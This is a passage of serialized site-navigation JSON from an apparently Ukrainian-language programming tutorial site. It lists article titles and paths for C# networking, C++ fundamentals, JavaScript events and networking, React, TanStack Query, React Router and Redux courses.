.NET","\u002Fcsharp\u002Fnetwork-programming\u002F07a.http-listener","01.csharp\u002F13.network-programming\u002F07a.http-listener",{"title":1688,"path":1689,"stem":1690},"HTTP Advanced — cookies, аутентифікація та HTTPS","\u002Fcsharp\u002Fnetwork-programming\u002Fhttp-advanced","01.csharp\u002F13.network-programming\u002F08.http-advanced",{"title":1692,"path":1693,"stem":1694},"SMTP та протоколи електронної пошти","\u002Fcsharp\u002Fnetwork-programming\u002Fsmtp","01.csharp\u002F13.network-programming\u002F09.smtp",{"title":1696,"path":1697,"stem":1698},"WebSocket — повнодуплексний протокол реального часу","\u002Fcsharp\u002Fnetwork-programming\u002Fwebsockets","01.csharp\u002F13.network-programming\u002F10.websockets",{"title":1700,"path":1701,"stem":1702},"TLS\u002FSSL — криптографічний захист мережевих з'єднань","\u002Fcsharp\u002Fnetwork-programming\u002Ftls-ssl","01.csharp\u002F13.network-programming\u002F11.tls-ssl",{"title":1704,"path":1705,"stem":1706},"C# & .NET: The Ultimate Roadmap","\u002Fcsharp\u002Froadmap","01.csharp\u002Froadmap",{"title":1708,"icon":1709,"path":1710,"stem":1711,"children":1712,"page":59},"C++","i-devicon-cplusplus","\u002Fcpp","02.cpp",[1713,1717,1721,1725,1729,1733,1737,1741,1745,1748,1752,1756,1760,1764,1768,1772,1776,1780,1784,1788,1792,1796,1800,1804,1808,1812,1816,1820,1824,1828,1832,1836,1840,1844,1848,1852,1856,1860,1864,1868,1872,1876,1880,1884,1888,1892],{"title":1714,"path":1715,"stem":1716},"Вступ у програмування та алгоритми","\u002Fcpp\u002Fintro-algorithms","02.cpp\u002F01.intro-algorithms",{"title":1718,"path":1719,"stem":1720},"Code Style: угоди про оформлення коду","\u002Fcpp\u002Fcode-style","02.cpp\u002F02.code-style",{"title":1722,"path":1723,"stem":1724},"Середовище розробки та перший проєкт","\u002Fcpp\u002Fide-setup","02.cpp\u002F03.ide-setup",{"title":1726,"path":1727,"stem":1728},"Вивід даних на екран","\u002Fcpp\u002Fdata-output","02.cpp\u002F04.data-output",{"title":1730,"path":1731,"stem":1732},"Типи даних, змінні та константи","\u002Fcpp\u002Fdata-types-variables","02.cpp\u002F05.data-types-variables",{"title":1734,"path":1735,"stem":1736},"Ввід даних з клавіатури","\u002Fcpp\u002Fdata-input","02.cpp\u002F06.data-input",{"title":1738,"path":1739,"stem":1740},"Оператори, перетворення типів та логічні операції","\u002Fcpp\u002Foperators-type-conversion","02.cpp\u002F07.operators-type-conversion",{"title":1742,"path":1743,"stem":1744},"Цикли","\u002Fcpp\u002Floops","02.cpp\u002F08.loops",{"title":32,"path":1746,"stem":1747},"\u002Fcpp\u002Farrays","02.cpp\u002F09.arrays",{"title":1749,"path":1750,"stem":1751},"Алгоритми сортування та аналіз складності","\u002Fcpp\u002Fsorting","02.cpp\u002F10.sorting",{"title":1753,"path":1754,"stem":1755},"Алгоритми пошуку","\u002Fcpp\u002Fsearching","02.cpp\u002F11.searching",{"title":1757,"path":1758,"stem":1759},"Функції: основи","\u002Fcpp\u002Ffunctions-basics","02.cpp\u002F12.functions-basics",{"title":1761,"path":1762,"stem":1763},"Функції: прототипи, область видимості та додаткові можливості","\u002Fcpp\u002Ffunctions-scope","02.cpp\u002F13.functions-scope",{"title":1765,"path":1766,"stem":1767},"Функції: перевантаження та шаблони","\u002Fcpp\u002Ffunctions-overloading-templates","02.cpp\u002F14.functions-overloading-templates",{"title":1769,"path":1770,"stem":1771},"Вказівники: основи","\u002Fcpp\u002Fpointers-basics","02.cpp\u002F15.pointers-basics",{"title":1773,"path":1774,"stem":1775},"Посилання (References)","\u002Fcpp\u002Freferences","02.cpp\u002F16.references",{"title":1777,"path":1778,"stem":1779},"Вказівники, const і масиви","\u002Fcpp\u002Fpointers-const-arrays","02.cpp\u002F17.pointers-const-arrays",{"title":1781,"path":1782,"stem":1783},"Адресна арифметика","\u002Fcpp\u002Fpointer-arithmetic","02.cpp\u002F18.pointer-arithmetic",{"title":1785,"path":1786,"stem":1787},"Динамічна пам'ять","\u002Fcpp\u002Fdynamic-memory","02.cpp\u002F19.dynamic-memory",{"title":1789,"path":1790,"stem":1791},"Вказівники типу void","\u002Fcpp\u002Fvoid-pointers","02.cpp\u002F20.void-pointers",{"title":1793,"path":1794,"stem":1795},"Вказівники на вказівники","\u002Fcpp\u002Fpointers-to-pointers","02.cpp\u002F21.pointers-to-pointers",{"title":1797,"path":1798,"stem":1799},"Оператор доступу до членів через вказівник (->)","\u002Fcpp\u002Fmember-access-operator","02.cpp\u002F22.member-access-operator",{"title":1801,"path":1802,"stem":1803},"Цикл for-each (Range-based for)","\u002Fcpp\u002Fforeach-loop","02.cpp\u002F23.foreach-loop",{"title":1805,"path":1806,"stem":1807},"Вказівники на функції","\u002Fcpp\u002Ffunction-pointers","02.cpp\u002F24.function-pointers",{"title":1809,"path":1810,"stem":1811},"Лямбда-вирази","\u002Fcpp\u002Flambdas","02.cpp\u002F25.lambdas",{"title":1813,"path":1814,"stem":1815},"Лямбда-захоплення","\u002Fcpp\u002Flambda-captures","02.cpp\u002F26.lambda-captures",{"title":1817,"path":1818,"stem":1819},"Еліпсис","\u002Fcpp\u002Fellipsis","02.cpp\u002F27.ellipsis",{"title":1821,"path":1822,"stem":1823},"Безпечні альтернативи еліпсису","\u002Fcpp\u002F27a.ellipsis","02.cpp\u002F27a.ellipsis",{"title":1825,"path":1826,"stem":1827},"Аргументи командного рядка","\u002Fcpp\u002Fcommand-line-arguments","02.cpp\u002F28.command-line-arguments",{"title":1829,"path":1830,"stem":1831},"Перерахування (enum)","\u002Fcpp\u002Fenum","02.cpp\u002F29.enum",{"title":1833,"path":1834,"stem":1835},"Класи-перерахування (enum class)","\u002Fcpp\u002Fenum-class","02.cpp\u002F30.enum-class",{"title":1837,"path":1838,"stem":1839},"Псевдоніми типів (typedef і using)","\u002Fcpp\u002Ftype-aliases","02.cpp\u002F31.type-aliases",{"title":1841,"path":1842,"stem":1843},"Системи числення та двійкова арифметика","\u002Fcpp\u002Fnumber-systems","02.cpp\u002F32.number-systems",{"title":1845,"path":1846,"stem":1847},"Структури (struct): агрегування даних","\u002Fcpp\u002Fstruct","02.cpp\u002F33.struct",{"title":1849,"path":1850,"stem":1851},"Структури у функціях","\u002Fcpp\u002Fstruct-functions","02.cpp\u002F34.struct-functions",{"title":1853,"path":1854,"stem":1855},"Масиви структур і вкладені структури","\u002Fcpp\u002Fstruct-arrays","02.cpp\u002F35.struct-arrays",{"title":1857,"path":1858,"stem":1859},"Патерни struct та межі застосування","\u002Fcpp\u002Fstruct-patterns","02.cpp\u002F36.struct-patterns",{"title":1861,"path":1862,"stem":1863},"Символи та таблиця ASCII","\u002Fcpp\u002Fascii-characters","02.cpp\u002F37.ascii-characters",{"title":1865,"path":1866,"stem":1867},"Unicode та кодування UTF","\u002Fcpp\u002Funicode-utf","02.cpp\u002F38.unicode-utf",{"title":1869,"path":1870,"stem":1871},"C-style рядки","\u002Fcpp\u002Fc-strings","02.cpp\u002F39.c-strings",{"title":1873,"path":1874,"stem":1875},"Вступ до std::string","\u002Fcpp\u002Fstd-string-intro","02.cpp\u002F40.std-string-intro",{"title":1877,"path":1878,"stem":1879},"Довжина, ємність та доступ до символів std::string","\u002Fcpp\u002Fstd-string-capacity-access","02.cpp\u002F41.std-string-capacity-access",{"title":1881,"path":1882,"stem":1883},"Модифікація std::string: присвоювання, додавання, вставка, видалення та заміна","\u002Fcpp\u002Fstd-string-modification","02.cpp\u002F42.std-string-modification",{"title":1885,"path":1886,"stem":1887},"Пошук у std::string: find, npos та практичні патерни","\u002Fcpp\u002Fstd-string-search","02.cpp\u002F43.std-string-search",{"title":1889,"path":1890,"stem":1891},"std::string_view: невласницький погляд на рядок без копіювання","\u002Fcpp\u002Fstd-string-view","02.cpp\u002F44.std-string-view",{"title":1893,"path":1894,"stem":1895},"План навчання: Курс C++ — Продовження (Статті 29–60+)","\u002Fcpp\u002Fcurriculum-plan","02.cpp\u002Fcurriculum-plan",{"title":1897,"icon":1898,"path":1899,"stem":1900,"children":1901,"page":59},"JavaScript","i-devicon-javascript","\u002Fjavascript","03.javascript",[1902,1928,1982,2004,2308,2346],{"title":1903,"icon":1904,"path":1905,"stem":1906,"children":1907,"page":59},"Events","i-lucide-mouse-pointer-click","\u002Fjavascript\u002Fevents","03.javascript\u002F01.events",[1908,1912,1916,1920,1924],{"title":1909,"path":1910,"stem":1911},"Вступ до подій браузера","\u002Fjavascript\u002Fevents\u002Fintro","03.javascript\u002F01.events\u002F01.intro",{"title":1913,"path":1914,"stem":1915},"Бульбашковий механізм (Bubbling) та занурення (Capturing)","\u002Fjavascript\u002Fevents\u002Fbubbling-capturing","03.javascript\u002F01.events\u002F02.bubbling-capturing",{"title":1917,"path":1918,"stem":1919},"Делегування подій (Event Delegation)","\u002Fjavascript\u002Fevents\u002Fdelegate-events","03.javascript\u002F01.events\u002F03.delegate-events",{"title":1921,"path":1922,"stem":1923},"Типові дії браузера та preventDefault()","\u002Fjavascript\u002Fevents\u002Fprevent-default","03.javascript\u002F01.events\u002F04.prevent-default",{"title":1925,"path":1926,"stem":1927},"Запуск користувацьких подій (Custom Events)","\u002Fjavascript\u002Fevents\u002Fcustom-events","03.javascript\u002F01.events\u002F05.custom-events",{"title":1929,"icon":1930,"path":1931,"stem":1932,"children":1933,"page":59},"Network","i-lucide-globe","\u002Fjavascript\u002Fnetwork","03.javascript\u002F02.network",[1934,1938,1942,1946,1950,1954,1958,1962,1966,1970,1974,1978],{"title":1935,"path":1936,"stem":1937},"Fetch API - Сучасний підхід до HTTP-запитів","\u002Fjavascript\u002Fnetwork\u002F01-fetch-api","03.javascript\u002F02.network\u002F01-fetch-api",{"title":1939,"path":1940,"stem":1941},"FormData - Робота з формами та файлами","\u002Fjavascript\u002Fnetwork\u002F02-formdata","03.javascript\u002F02.network\u002F02-formdata",{"title":1943,"path":1944,"stem":1945},"Відстеження прогресу завантаження","\u002Fjavascript\u002Fnetwork\u002F03-download-progress","03.javascript\u002F02.network\u002F03-download-progress",{"title":1947,"path":1948,"stem":1949},"Переривання fetch-запитів","\u002Fjavascript\u002Fnetwork\u002F04-abort-requests","03.javascript\u002F02.network\u002F04-abort-requests",{"title":1951,"path":1952,"stem":1953},"CORS - Запити між різними джерелами","\u002Fjavascript\u002Fnetwork\u002F05-cors","03.javascript\u002F02.network\u002F05-cors",{"title":1955,"path":1956,"stem":1957},"Fetch API - Повний довідник опцій","\u002Fjavascript\u002Fnetwork\u002F06-fetch-options","03.javascript\u002F02.network\u002F06-fetch-options",{"title":1959,"path":1960,"stem":1961},"URL Objects - Робота з посиланнями","\u002Fjavascript\u002Fnetwork\u002F07-url-objects","03.javascript\u002F02.network\u002F07-url-objects",{"title":1963,"path":1964,"stem":1965},"XMLHttpRequest - AJAX та низькорівневі запити","\u002Fjavascript\u002Fnetwork\u002F08-xmlhttprequest","03.javascript\u002F02.network\u002F08-xmlhttprequest",{"title":1967,"path":1968,"stem":1969},"Відновлюване завантаження файлів","\u002Fjavascript\u002Fnetwork\u002F09-resumable-upload","03.javascript\u002F02.network\u002F09-resumable-upload",{"title":1971,"path":1972,"stem":1973},"Cookies, document.cookie та світ після \"Cookiepocalypse\"","\u002Fjavascript\u002Fnetwork\u002F10-cookies","03.javascript\u002F02.network\u002F10-cookies",{"title":1975,"path":1976,"stem":1977},"js-cookie: Керування Cookies без Болю","\u002Fjavascript\u002Fnetwork\u002F11-js-cookie","03.javascript\u002F02.network\u002F11-js-cookie",{"title":1979,"path":1980,"stem":1981},"Axios: Потужний HTTP-клієнт для JavaScript","\u002Fjavascript\u002Fnetwork\u002F12-axios","03.javascript\u002F02.network\u002F12-axios",{"title":1983,"icon":1984,"path":1985,"stem":1986,"children":1987,"page":59},"Bom","i-lucide-monitor","\u002Fjavascript\u002Fbom","03.javascript\u002F03.bom",[1988,1992,1996,2000],{"title":1989,"path":1990,"stem":1991},"LocalStorage, SessionStorage та patterns збереження даних","\u002Fjavascript\u002Fbom\u002F01-localstorage","03.javascript\u002F03.bom\u002F01-localstorage",{"title":1993,"path":1994,"stem":1995},"Location Object - Керування адресою сторінки","\u002Fjavascript\u002Fbom\u002F02-location-object","03.javascript\u002F03.bom\u002F02-location-object",{"title":1997,"path":1998,"stem":1999},"History API - Керування історією браузера","\u002Fjavascript\u002Fbom\u002F03-history-api","03.javascript\u002F03.bom\u002F03-history-api",{"title":2001,"path":2002,"stem":2003},"Navigator Object - Ідентифікація та Можливості Пристрою","\u002Fjavascript\u002Fbom\u002F04-navigator-object","03.javascript\u002F03.bom\u002F04-navigator-object",{"title":2005,"icon":2006,"path":2007,"stem":2008,"children":2009},"React","i-devicon-react","\u002Fjavascript\u002Freact","03.javascript\u002F04.react\u002Findex",[2010,2011,2015,2019,2023,2027,2090,2125,2277],{"title":2005,"path":2007,"stem":2008},{"title":2012,"path":2013,"stem":2014},"Робота з Формами в React","\u002Fjavascript\u002Freact\u002Freact-forms","03.javascript\u002F04.react\u002F01.react-forms",{"title":2016,"path":2017,"stem":2018},"React Hook Form: Професійна Робота з Формами","\u002Fjavascript\u002Freact\u002Freact-hook-form","03.javascript\u002F04.react\u002F02.react-hook-form",{"title":2020,"path":2021,"stem":2022},"React Hook Form: Глибоке Розуміння Архітектури та Оптимізації","\u002Fjavascript\u002Freact\u002Freact-hook-form-new","03.javascript\u002F04.react\u002F02.react-hook-form-new",{"title":2024,"path":2025,"stem":2026},"Axios та React: Професійна Архітектура Запитів","\u002Fjavascript\u002Freact\u002Fdata-fetching-axios","03.javascript\u002F04.react\u002F03.data-fetching-axios",{"title":2028,"icon":132,"path":2029,"stem":2030,"children":2031},"Tanstack Query","\u002Fjavascript\u002Freact\u002Ftanstack-query","03.javascript\u002F04.react\u002F04.tanstack-query\u002Findex",[2032,2034,2038,2042,2046,2050,2054,2058,2062,2066,2070,2074,2078,2082,2086],{"title":2033,"path":2029,"stem":2030},"TanStack Query: Майстерність Керування Станом Сервера",{"title":2035,"path":2036,"stem":2037},"Парадигма Server State: Чому useEffect недостатньо","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fserver-state-paradigm","03.javascript\u002F04.react\u002F04.tanstack-query\u002F01.server-state-paradigm",{"title":2039,"path":2040,"stem":2041},"Встановлення та Налаштування: Фундамент","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Finstallation-and-devtools","03.javascript\u002F04.react\u002F04.tanstack-query\u002F02.installation-and-devtools",{"title":2043,"path":2044,"stem":2045},"Основи Запитів та Магія Ключів","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fquery-basics-and-keys","03.javascript\u002F04.react\u002F04.tanstack-query\u002F03.query-basics-and-keys",{"title":2047,"path":2048,"stem":2049},"Синхронізація Даних: Життєвий Цикл Запиту","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fdata-synchronization","03.javascript\u002F04.react\u002F04.tanstack-query\u002F04.data-synchronization",{"title":2051,"path":2052,"stem":2053},"Мутації та Інвалідація: Зміна Даних","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fmutations-and-invalidation","03.javascript\u002F04.react\u002F04.tanstack-query\u002F05.mutations-and-invalidation",{"title":2055,"path":2056,"stem":2057},"Оптимістичні Оновлення: Швидше за Світло","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Foptimistic-updates","03.javascript\u002F04.react\u002F04.tanstack-query\u002F06.optimistic-updates",{"title":2059,"path":2060,"stem":2061},"Пагінація та Infinite Scroll","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fpagination-and-load-more","03.javascript\u002F04.react\u002F04.tanstack-query\u002F07.pagination-and-load-more",{"title":2063,"path":2064,"stem":2065},"Просунуті Патерни та Оптимізація","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fadvanced-patterns","03.javascript\u002F04.react\u002F04.tanstack-query\u002F08.advanced-patterns",{"title":2067,"path":2068,"stem":2069},"Архітектура та Best Practices","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Farchitecture-and-best-practices","03.javascript\u002F04.react\u002F04.tanstack-query\u002F09.architecture-and-best-practices",{"title":2071,"path":2072,"stem":2073},"Server-Side Rendering (SSR) та Гідратація","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fserver-side-rendering","03.javascript\u002F04.react\u002F04.tanstack-query\u002F10.server-side-rendering",{"title":2075,"path":2076,"stem":2077},"Стратегії Тестування","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Ftesting-strategies","03.javascript\u002F04.react\u002F04.tanstack-query\u002F11.testing-strategies",{"title":2079,"path":2080,"stem":2081},"Аутентифікація та Обробка Помилок","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fauthentication-and-errors","03.javascript\u002F04.react\u002F04.tanstack-query\u002F12.authentication-and-errors",{"title":2083,"path":2084,"stem":2085},"React Suspense та Майбутнє","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Freact-suspense","03.javascript\u002F04.react\u002F04.tanstack-query\u002F13.react-suspense",{"title":2087,"path":2088,"stem":2089},"Глибоке Занурення в Продуктивність","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fperformance-deep-dive","03.javascript\u002F04.react\u002F04.tanstack-query\u002F14.performance-deep-dive",{"title":2091,"icon":2006,"path":2092,"stem":2093,"children":2094},"React Router","\u002Fjavascript\u002Freact\u002Freact-router","03.javascript\u002F04.react\u002F05.react-router\u002Findex",[2095,2097,2101,2105,2109,2113,2117,2121],{"title":2096,"path":2092,"stem":2093},"React Router: Навігаційна система сучасного вебу",{"title":2098,"path":2099,"stem":2100},"Налаштування та Базовий Роутинг","\u002Fjavascript\u002Freact\u002Freact-router\u002Fsetup-and-basic-routing","03.javascript\u002F04.react\u002F05.react-router\u002F01.setup-and-basic-routing",{"title":2102,"path":2103,"stem":2104},"Динамічна Навігація","\u002Fjavascript\u002Freact\u002Freact-router\u002Fnavigation-and-links","03.javascript\u002F04.react\u002F05.react-router\u002F02.navigation-and-links",{"title":2106,"path":2107,"stem":2108},"Вкладені Маршрути та Макети","\u002Fjavascript\u002Freact\u002Freact-router\u002Fnested-routes-and-layouts","03.javascript\u002F04.react\u002F05.react-router\u002F03.nested-routes-and-layouts",{"title":2110,"path":2111,"stem":2112},"Динамічні Маршрути та Параметри","\u002Fjavascript\u002Freact\u002Freact-router\u002Fdynamic-routing","03.javascript\u002F04.react\u002F05.react-router\u002F04.dynamic-routing",{"title":2114,"path":2115,"stem":2116},"Data APIs: Loaders та Actions","\u002Fjavascript\u002Freact\u002Freact-router\u002Fdata-loading","03.javascript\u002F04.react\u002F05.react-router\u002F05.data-loading",{"title":2118,"path":2119,"stem":2120},"Просунуті Патерни","\u002Fjavascript\u002Freact\u002Freact-router\u002Fadvanced-patterns","03.javascript\u002F04.react\u002F05.react-router\u002F06.advanced-patterns",{"title":2122,"path":2123,"stem":2124},"Legacy Routing: Компонентний підхід","\u002Fjavascript\u002Freact\u002Freact-router\u002Flegacy-routing","03.javascript\u002F04.react\u002F05.react-router\u002F07.legacy-routing",{"title":2126,"icon":132,"path":2127,"stem":2128,"children":2129},"Redux","\u002Fjavascript\u002Freact\u002Fredux","03.javascript\u002F04.react\u002F06.redux\u002Findex",[2130,2132,2148,2177,2186,2207,2223,2252],{"title":2131,"path":2127,"stem":2128},"Redux: Еволюція управління станом",{"title":14,"icon":15,"path":2133,"stem":2134,"children":2135,"page":59},"\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals",[2136,2140,2144],{"title":2137,"path":2138,"stem":2139},"Вступ до State Management","\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals\u002Fintro-state-management","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals\u002F01.intro-state-management",{"title":2141,"path":2142,"stem":2143},"Філософія Redux та Три Принципи","\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals\u002Fredux-philosophy","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals\u002F02.redux-philosophy",{"title":2145,"path":2146,"stem":2147},"Чисті функції та Іммутабельність","\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals\u002Fpure-functions-immutability","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals\u002F03.pure-functions-immutability",{"title":2149,"icon":132,"path":2150,"stem":2151,"children":2152,"page":59},"Classic Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux",[2153,2157,2161,2165,2169,2173],{"title":2154,"path":2155,"stem":2156},"Створення Store (Classic Redux)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Fstore-setup","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F01.store-setup",{"title":2158,"path":2159,"stem":2160},"Actions, Constants та Action Creators","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Factions-constants","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F02.actions-constants",{"title":2162,"path":2163,"stem":2164},"Логіка Reducers","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Freducers","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F03.reducers",{"title":2166,"path":2167,"stem":2168},"Комбінування Reducers (Root Reducer)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Fdata-flow","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F04.data-flow",{"title":2170,"path":2171,"stem":2172},"Підключення до React (React-Redux)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Freact-redux-connection","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F05.react-redux-connection",{"title":2174,"path":2175,"stem":2176},"Middleware та Асинхронність (Redux Thunk)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Fmiddleware-thunk","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F06.middleware-thunk",{"title":2178,"icon":132,"path":2179,"stem":2180,"children":2181,"page":59},"Transition To Rtk","\u002Fjavascript\u002Freact\u002Fredux\u002Ftransition-to-rtk","03.javascript\u002F04.react\u002F06.redux\u002F03.transition-to-rtk",[2182],{"title":2183,"path":2184,"stem":2185},"Проблеми класичного Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Ftransition-to-rtk\u002Fproblems-with-classic","03.javascript\u002F04.react\u002F06.redux\u002F03.transition-to-rtk\u002F01.problems-with-classic",{"title":2187,"icon":132,"path":2188,"stem":2189,"children":2190,"page":59},"Redux Toolkit","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit",[2191,2195,2199,2203],{"title":2192,"path":2193,"stem":2194},"Налаштування Store з configureStore","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fconfigure-store","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F01.configure-store",{"title":2196,"path":2197,"stem":2198},"createSlice: Революція в Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fcreate-slice","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F02.create-slice",{"title":2200,"path":2201,"stem":2202},"Асинхронність з createAsyncThunk","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fasync-thunks","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F03.async-thunks",{"title":2204,"path":2205,"stem":2206},"04. Entity Adapter: Керування нормалізованим станом","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fentity-adapter","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F04.entity-adapter",{"title":2208,"icon":92,"path":2209,"stem":2210,"children":2211,"page":59},"Advanced","\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced",[2212,2216,2220],{"title":2213,"path":2214,"stem":2215},"Мемоізація та Селектори: Повний Гайд по Reselect","\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced\u002Fselectors-reselect","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced\u002F01.selectors-reselect",{"title":2217,"path":2218,"stem":2219},"RTK Query: Архітектура Серверного Кешу","\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced\u002Frtk-query-intro","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced\u002F02.rtk-query-intro",{"title":2067,"path":2221,"stem":2222},"\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced\u002Farchitecture-best-practices","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced\u002F03.architecture-best-practices",{"title":2224,"icon":132,"path":2225,"stem":2226,"children":2227,"page":59},"Project Kanban","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban",[2228,2232,2236,2240,2244,2248],{"title":2229,"path":2230,"stem":2231},"Проєкт: Kanban Board (Trello Clone)","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fproject-overview","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F01.project-overview",{"title":2233,"path":2234,"stem":2235},"Налаштування та Типізація","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fsetup-and-types","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F02.setup-and-types",{"title":2237,"path":2238,"stem":2239},"Board Slice: Серце Дошки","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fboard-slice","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F03.board-slice",{"title":2241,"path":2242,"stem":2243},"Логіка Drag & Drop","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fdrag-and-drop-logic","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F04.drag-and-drop-logic",{"title":2245,"path":2246,"stem":2247},"Інтеграція з RTK Query","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Frtk-query-integration","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F05.rtk-query-integration",{"title":2249,"path":2250,"stem":2251},"Optimistic Updates","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Foptimistic-updates","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F06.optimistic-updates",{"title":2253,"icon":132,"path":2254,"stem":2255,"children":2256,"page":59},"Testing","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting","03.javascript\u002F04.react\u002F06.redux\u002F07.testing",[2257,2261,2265,2269,2273],{"title":2258,"path":2259,"stem":2260},"Тестування Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Fintro-testing","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F01.intro-testing",{"title":2262,"path":2263,"stem":2264},"Тестування Reducers","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-reducers","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F02.testing-reducers",{"title":2266,"path":2267,"stem":2268},"Тестування Селекторів","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-selectors","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F03.testing-selectors",{"title":2270,"path":2271,"stem":2272},"Тестування Компонентів (Integration)","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-components","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F04.testing-components",{"title":2274,"path":2275,"stem":2276},"Тестування Async Thunks","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-thunks","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F05.testing-thunks",{"title":2278,"icon":132,"path":2279,"stem":2280,"children":2281},"Ui Libraries","\u002Fjavascript\u002Freact\u002Fui-libraries","03.javascript\u002F04.react\u002F07.ui-libraries\u002Findex",[2282,2284,2288,2292,2296,2300,2304],{"title":2283,"path":2279,"stem":2280},"UI Бібліотеки в React",{"title":2285,"path":2286,"stem":2287},"Вступ до UI Бібліотек: Навіщо Винаходити Велосипед Двічі?","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fintroduction-to-ui-libraries","03.javascript\u002F04.react\u002F07.ui-libraries\u002F01.introduction-to-ui-libraries",{"title":2289,"path":2290,"stem":2291},"Філософія shadcn\u002Fui: \"Not a Component Library\"","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-philosophy","03.javascript\u002F04.react\u002F07.ui-libraries\u002F02.shadcn-philosophy",{"title":2293,"path":2294,"stem":2295},"Установка та Налаштування shadcn\u002Fui","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-installation","03.javascript\u002F04.react\u002F07.ui-libraries\u002F03.shadcn-installation",{"title":2297,"path":2298,"stem":2299},"Базові Компоненти shadcn\u002Fui: Фундамент Інтерфейсу","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-components-basics","03.javascript\u002F04.react\u002F07.ui-libraries\u002F04.shadcn-components-basics",{"title":2301,"path":2302,"stem":2303},"Компоненти Форм: Побудова Інтерактивних Form","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-components-forms","03.javascript\u002F04.react\u002F07.ui-libraries\u002F05.shadcn-components-forms",{"title":2305,"path":2306,"stem":2307},"Складні Компоненти: Dialog, Dropdown, Table та 